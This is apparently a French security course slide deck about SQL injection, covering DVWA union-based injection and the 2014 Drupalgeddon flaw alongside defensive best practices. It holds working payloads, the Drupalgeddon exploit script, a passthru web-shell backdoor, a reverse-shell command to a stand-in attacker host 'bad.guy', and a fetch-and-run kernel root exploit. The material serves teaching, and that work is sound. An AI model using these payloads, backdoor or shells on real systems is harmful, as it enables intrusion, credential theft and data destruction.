# SQLi ## Aka injections SQL ## Disclaimer *Cette présentation explique comment fonctionne l'exploiter des services vulnérables aux injections SQL.* *Toutes les attaques sont réalisées sur des VMs en local.* *Il est vivement déconseillé de reproduire ces attaques sur une cible distante, sans la permission explicite (c'est à dire écrite et signée) de l'administrateur de cette cible!* *Selon la cible: **Vous risquez gros**!* ## monsite.com Utilisateur: <input type="text" name="username" value="mazenovi"><br /> Mot de passe: <input id="password" type="password" name="password" value="123admin"><br /> <input type="submit" value="s'authentifier"> ### Que se passe-t-il quand on appuie sur le bouton?<!-- .element class="fragment roll-in" --> ## basiquement ...  ### Où sont les failles de sécurité?<!-- .element class="fragment roll-in" --> Note: - Le navigateur envoie le contenu des champs `Utilisateur` et `Mot passe` au serveur - en clair - Le serveur va chercher les informations concernant l' `Utilisateur` mazenovi dans sa base de données - dont le mot de passe - Le serveur compare ensuite la valeur du mot de passe issude la base de donnée avec celui qu'il a reçu du formulaire d'authentification - égalité = utilisateur authentifié - différence = utilisateur ou mot de passe invalide ## http = carte postale  ## https = enveloppe cachetée  Note: - Lors de la transmission du mot de passe => utiliser https - il est très facile de transformer sa carte wifi en écouteur de paquet du réseau local https://www.aircrack-ng.org/ ## ???  Note: - Lors du stockage du mot de passe - Pourquoi? - Le mot de passe n'est jamais affiché et voilà ## sqli  Note: - Lors du stockage du mot de passe - Pourquoi? - Le mot de passe n'est jamais affiché et voilà ## SQLi * faille n°1 dans le [top 10 owasp](https://www.owasp.org/index.php/Top_10-2017_Top_10) * depuis plusieurs années * concerne tous les interpréteurs * concerne tous les langages * permet de * lire des données protégées * corrompre des données * dénis de services * lecture / écriture sur le système de fichiers * exécution de commandes arbitraires ## SQLi ``` http://dv.wa/vulnerabilities/sqli/ ``` Tout commence par un message d'erreur anodin si on saisit les caractère `'` au lieu de l'entier attendu ``` You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1 ``` ### intéressant!?<!-- .element class="fragment roll-in" --> ``` $id = $_GET['id']; $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'"; $result = mysql_query($getid) or die(mysql_error()); $num = mysql_numrows($result); $i = 0; while ($i < $num) { $first = mysql_result($result,$i,"first_name"); $last = mysql_result($result,$i,"last_name"); echo '<pre>'; echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last; echo '</pre>'; $i++; } ``` le serveur exécute donc la requête ``` SELECT first_name, last_name FROM users WHERE user_id = ''' ``` et renvoie une erreur! chaîne de caractère non terminée ... ## SQLi / détournement en suivant la logique ``` SELECT first_name, last_name FROM users WHERE user_id = '' OR 1=1 ``` devrait afficher la liste de tous les utilisateurs ... essayons de saisir la valeur `' OR 1=1` au lieu de l'entier attendu #### toujours la même erreur!<!-- .element class="fragment roll-in" --> ### Pourquoi?<!-- .element class="fragment roll-in" --> ## SQLi / détournement la requête exécutée est en fait ``` SELECT first_name, last_name FROM users WHERE user_id = '' OR 1=1' ``` elle présente encore une erreur de chaîne de caractère non terminée! ### Comment faire?<!-- .element class="fragment roll-in" --> #### essayons avec le symbole de commentaire en ligne #<!-- .element class="fragment roll-in" --> ## SQLi / détournement on saisit maintenant la valeur `' OR 1=1#` au lieu de l'entier attendu ## Ca marche :D<!-- .element class="fragment roll-in" --> ## SQLi / détournement Notez qu'on peut travailler directement sur l'url (industrialisation) ``` http://dv.wa/vulnerabilities/sqli/?id=' OR 1=1#&Submit=Submit ``` soit en version encodée ``` http://dv.wa/vulnerabilities/sqli/?id=%27+OR+1%3D1+%3B%23%23&Submit=Submit ``` #### peut on atteindre les mots de passe?<!-- .element class="fragment roll-in" --> #### probablement dans la même table ...<!-- .element class="fragment roll-in" --> #### mais comment? on a pas la main sur la clause SELECT de la requête ...<!-- .element class="fragment roll-in" --> ## Say hello to UNION! ``` SELECT column_name(s) FROM table1 UNION SELECT column_name(s) FROM table2; ```  ### Les clauses select doivent avoir le même nombre de champs!?<!-- .element class="fragment roll-in" --> ## comment deviner le nombre de champs d'une requête SQL? ## jouer avec order BY ``` ' OR 1=1 ORDER BY 2# ``` * si l'index correspond à un champs de la clause SELECT * la requête s'exécute * si l'index ne correspond pas à un champs de la clause SELECT * la requête échoue ## Affichage des mots de passe ``` ' AND 1=0 UNION SELECT user, password FROM users# ``` Les mots de passe sont hashés<!-- .element class="fragment roll-in" --> * SHA256(passeenclair) <!-- .element class="fragment roll-in" --> * 4D0C44C76936FBF16F5E2E4860BA4AC41AB377B5156D2D1A75DF3FE994812FE4<!-- .element class="fragment roll-in" --> * SHA256(admin) <!-- .element class="fragment roll-in" --> * 8C6976E5B5410415BDE908BD4DEE15DFB167A9C873FC4BB8A81F6F2AB448A918<!-- .element class="fragment roll-in" --> * MD5(passeenclair) (cassé!)<!-- .element class="fragment roll-in" --> * 5452409edd9626898129c983ec443748<!-- .element class="fragment roll-in" --> ## sqli  Note: - Mot de passe hashé ## Rainbow tables ### [https://crackstation.net/](https://crackstation.net/) * Hashs précalculés de mots de passe *communs* * 8C6976E5B5410415BDE908BD4DEE15DFB167A9C873FC4BB8A81F6F2AB448A918 * sha256 - admin * 4D0C44C76936FBF16F5E2E4860BA4AC41AB377B5156D2D1A75DF3FE994812FE4 * ???? ## <i class="fa fa-medkit"></i> Bonnes pratiques * stocker les mots de passe hashés<!-- .element class="fragment roll-in" --> * <!-- .element class="fragment roll-in" -->[Facebook a stocké des millions de mots de passe en clair : ce que vous risquez, ce qu’il faut faire](https://www.numerama.com/tech/473877-facebook-a-stocke-des-millions-de-mots-de-passe-en-clair-ce-que-vous-risquez-ce-quil-faut-faire.html) * valider la robustesse des mots de passe utilisateur<!-- .element class="fragment roll-in" --> * minuscule + majuscule + spécial + numériques<!-- .element class="fragment roll-in" --> * longueur minimum (passphrase)<!-- .element class="fragment roll-in" --> * ajouter un sel<!-- .element class="fragment roll-in" --> * SHA256(admin+selsupercompliqué)<!-- .element class="fragment roll-in" --> ## <i class="fa fa-medkit"></i> Bonnes pratiques * filtrer par TOUTES les entrées par listes blanches * caster * [intval()](http://php.net/manual/fr/function.intval.php), [floatval()](http://php.net/manual/fr/function.floatval.php), ... * si l'id est toujours un entier ... * échappement des paramètres de requêtes * [stripslashes()](http://php.net/manual/fr/function.stripslashes.php), [mysql_real_escape_string()](http://php.net/manual/fr/function.mysql-real-escape-string.php) ## <i class="fa fa-medkit"></i> Bonnes pratiques * [Ne plus utiliser les fonctions mysql_ leur préférer mysqli_](http://stackoverflow.com/questions/548986/mysql-vs-mysqli-in-php) * Utiliser des requêtes préparées * PDO, ORM : Doctrine2, Propel * Être le plus silencieux possibles quant aux requêtes invalides * [@](http://php.net/manual/fr/language.operators.errorcontrol.php) mais pas [or die()](http://php.net/manual/fr/function.die.php) * [error_reporting](http://php.net/manual/fr/function.error-reporting.php), pas [mysql_error()](http://php.net/mysql_error) ni [mysqli_error()](http://php.net/manual/fr/mysqli.error.php) * repérer les requêtes suspectes dans les logs ## <i class="fa fa-medkit"></i> Bonnes pratiques * Web Application Firewall (WAF) * [mod_security](https://www.modsecurity.org/) * log le POST * <i class="fa fa-fire"></i> [SQL Injection: Les techniques d’évasion de filtres](http://www.mcherifi.org/hacking/sql-injection-les-techniques-devasion-de-filtres.html) * Les privilèges de l'utilisateur SQL ont un sens * [FILE](https://dev.mysql.com/doc/refman/5.1/en/privileges-provided.html#priv_file) * attention aux permissions sur la base de données * information_schema ... * Changer les préfixes de table des CMS quand c'est possible ## SQLi de la vraie vie (2014) * les SQLi n'apparaissent pas (plus) de manière aussi grossière * Voici une vraie faille du CMS drupal ... ## Drupalgeddon<!-- .slide: data-background="images/drupalgeddon/drupalgeddon.jpg" data-background-size="135%" data-background-color="black"--> ## La faille * [Drupalgeddon - SA-CORE-2014-005 - Drupal core - SQL injection](https://www.drupal.org/SA-CORE-2014-005) * Version: 7.x < 7.32 * Date: 2014-October-15 * Security risk: [25/25 ( Highly Critical)](https://www.drupal.org/security-team/risk-levels) #### exploitable à partir du formulaire d'authentification!<!-- .element class="fragment roll-in" --> ### sans aucun privilège!<!-- .element class="fragment roll-in" --> ## Trouver un système vulnérable sur le www [<!-- .element: align="right" width="65%" -->](https://www.shodan.io/search?query=drupal) [<!-- .element: width="30%" -->](https://www.exploit-db.com/google-hacking-database/?action=search&ghdb_search_cat_id=0&ghdb_search_text=drupal) ## [Timeline grand publique](http://www.nbn.org.uk/News/Latest-news/Drupalgeddon-response.aspx) * 16 sept. 2014 : notification à Drupal * 15 oct. 2014 : publication du correctif * 29 oct. 2014 : [communication de Drupal (PSA-2014-003)](https://www.drupal.org/PSA-2014-003) * 3 nov. 2014 : release de deux exploits publiques ## Timeline côté attaquant * 16 sept. 2014 : notification à Drupal * 15 oct. 2014 : publication du correctif * 15 oct. 2014, 4h après : exploitations en cours… * 16 oct. 2014 : de très nombreux Drupal compromis… ## La faille [includes/database/database.inc](https://github.com/pressflow/7/commit/a0fee30d766a4760db96fac8aacac462e50f61b9) ligne 738 ```php foreach (array_filter($args, 'is_array') as $key => $data) { $new_keys = array(); foreach ($data as $i => $value) { $new_keys[$key . '_' . $i] = $value } } ``` * $i est un index de tableau de variables HTTP * les valeurs des clés de $new_keys sont utilisées comme paramètres d'une requête SQL plus loin * il y a donc possibilité d'injecter du code SQL dans les clés des paramètres HTTP ## Le patch [includes/database/database.inc](https://github.com/pressflow/7/commit/a0fee30d766a4760db96fac8aacac462e50f61b9) ligne 738 ```php foreach (array_filter($args, 'is_array') as $key => $data) { $new_keys = array(); /* patched version begin */ foreach (array_values($data) as $i => $value) { /* patched version end */ $new_keys[$key . '_' . $i] = $value } } ``` * [array_values()](http://php.net/manual/fr/function.array-values.php) retourne les valeurs du tableau array et l'indexe de façon numérique Note: - combien de dev PHP? - combien utilisent array_values() - forcer le type des paramètres est une bonne option - debugging et dump variable à creuser - code drupal compliqué ou mal fait ## Exploitation manuelle remplacer ```html <input id="edit-name" name="name" type="text"> ``` par ```html <input name="name[0; DELETE FROM flood;;# ]" type="text" value="test3" /> <input name="name[0]" type="text" value="test" /> ``` <!-- .element class="fragment roll-in" --> Note: - mettre un mot de passe ## Exploit [<i class="fa fa-github"></i> MKorostoff/drupalgeddon](https://github.com/MKorostoff/drupalgeddon) ```php $url = $argv[1]; $sql = $argv[2]; $sql = str_replace('{', '\' , CHAR(123), \'', $sql); $sql = str_replace('}', '\' , CHAR(125), \'', $sql); $sql = str_replace('[', '\' , CHAR(91), \'', $sql); $sql = str_replace(']', '\' , CHAR(93), \'', $sql); $sql = urlencode($sql); //Send a request to the user login form $post_data = "name[0%20;".$sql.";;#%20%20]=test3&name[0]=test&pass=test"; $post_data .= "&test2=test&form_build_id=&form_id=user_login_block&op=Log+in"; $params = array( 'http' => array( 'method' => 'POST', 'header' => "Content-Type: application/x-www-form-urlencoded\r\n", 'content' => $post_data ) ); $ctx = stream_context_create($params); $data = file_get_contents($url . '?q=node&destination=node', 1, $ctx); ``` ```shell $ php attack/inject-sql.php 'http://drup.al' 'DELETE FROM flood' ``` ## Backdoor rerésente 68% des attaques Simple backdoor shell ```php $malicious_file_to_upload = '<?php if(isset($_REQUEST["cmd"])){ echo "<pre>"; passthru($_REQUEST["cmd"]); die; } phpinfo();'; ``` * [passthru()](http://php.net/manual/fr/function.passthru.php) ## Backdoor * Architecture Drupal * menu_router * un url = un callback + un tableau d'arguments sérialisés ```sql insert into menu_router values ('backdoor','','','file_put_contents', $attack_payload, '','','',0,0,0,'','','','','','','',0,'hacked','',0,''); ``` Payload ```php $attack_payload = array('sites/default/files/backdoor.php', $malicious_file_to_upload); $attack_payload = serialize($attack_payload); ``` [http://drup.al/backdoor](http://drup.al/backdoor) Note: - bien entendu on appelle pas ça backdoor - en réalité l'exploit de Matt Korostoff marche avec un cookie - deux ou trois échappement sont nécessaire - même pas besoin créer le compte admin hein ... - automatisable à souhait ## exploitation ```shell $ php attack/exploit.php 'http://drup.al' ``` * [http://drup.al/sites/default/files/backdoor.php](http://drup.al.com/sites/default/files/backdoor.php) * affiche phpinfo() * [http://drup.al/sites/default/files/backdoor.php?cmd=cat%20../../sites/default/settings.php](http://drup.al/sites/default/files/backdoor.php?cmd=cat%20../../sites/default/settings.php) * affiche les paramètres SQL ## exploitation ```shell nc -lvvp 1337 ``` met le poste de l'attaquant en écoute sur le port 1337 ```http http://drup.al/sites/default/files/backdoor.php? cmd=urlencode(bash -c 'bash -i >& /dev/tcp/bad.guy/1337 0>&1 ; bash'); ``` en version encodée ```http http://drup.al/sites/default/files/backdoor.php? cmd=bash+-c+%27bash+-i+%3E%26+%2Fdev%2Ftcp%2Fbad.guy%2F1337+0%3E%261+%3B+bash%27%0D%0``` * connecte le serveur sur l'IP de l'attaquant Note: - discuter [Bind VS Reverse shell](http://www.go4expert.com/articles/difference-bind-shell-reverse-shell-t25408/) - Bind shell improbable - ICMP Reverse Shell passe par le protocole ICMP - analyse des ping wireshark - [Bypassing corporate firewall with reverse ssh port forwarding](https://toic.org/blog/2009/reverse-ssh-port-forwarding/) - sur ma maquette ca marche aussi sur le port 80 ... ## escalade de privilèges * [Local root exploit](http://www.tux-planet.fr/local-root-exploit-pour-les-noyaux-linux-2-6-37-a-3-8-10/) * environ tous les 2 ans * [CVE-2013-2094](https://github.com/realtalk/cve-2013-2094) * fonctionne sur les archi 64bits uniquement * kernel de 2.6.37 à 3.8.10 ```shell $ # www.tux-planet.fr/public/hack/exploits/kernel/semtex.c is dead $ wget https://raw.githubusercontent.com/realtalk/cve-2013-2094/master/semtex.c $ gcc -O2 semtex.c $ ./a.out $ whoami ``` ## W00T <!-- .element width="100%"--> ## <i class="fa fa-medkit"></i> Bonnes pratiques * un malheur n'arrive jamais seul * [c.f. loi de murphy](https://fr.wiktionary.org/wiki/loi_de_Murphy) * tout doit être à jour * système, lib, cms, services, ... * mieux vaut s'appuyer sur des communautés * réactives * préoccupées par la sécurité * bien suivre les mises à jour des produits * et patcher asap quand nécessaire